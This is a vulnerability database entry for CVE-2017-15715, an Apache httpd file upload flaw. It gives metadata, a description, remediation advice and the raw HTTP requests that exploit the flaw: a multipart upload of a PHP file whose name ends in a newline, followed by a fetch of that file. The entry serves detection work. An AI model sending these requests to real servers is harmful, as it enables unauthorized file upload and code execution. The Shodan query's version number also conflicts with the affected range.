🔙 목록으로 돌아가기

CVE-2017-15715: Apache httpd <=2.4.29 - Arbitrary File Upload

TitleApache httpd <=2.4.29 - Arbitrary File Upload
Authorgeeknik
SeverityHigh
ImpactAn attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
RemediationUpgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
CVSS Score8.1
EPSS Score0.94023
CVE IDCVE-2017-15715
CWE IDCWE-20
Shodan Querycpe:"cpe:2.3:a:apache:http_server"apache 2.4.49
Tags cve cve2017 apache httpd fileupload vulhub intrusive vkev vuln

🔍 Vulnerability Description

Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in , which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Content-Length: 334
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ
Accept-Encoding: gzip

------WebKitFormBoundaryKc8fBVDo558U4hbJ

Content-Disposition: form-data; name="file"; filename="38Ff30xOtIR577GqZUVRrXAk9OS.php"



38Ff31GrDXIwRnMU4Cen3AsJn9S



------WebKitFormBoundaryKc8fBVDo558U4hbJ

Content-Disposition: form-data; name="name"



38Ff30xOtIR577GqZUVRrXAk9OS.php\x0A

------WebKitFormBoundaryKc8fBVDo558U4hbJ--
GET /38Ff30xOtIR577GqZUVRrXAk9OS.php%5Cx0A HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Accept: */*
Accept-Encoding: gzip,deflate

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-15715.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-15715.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A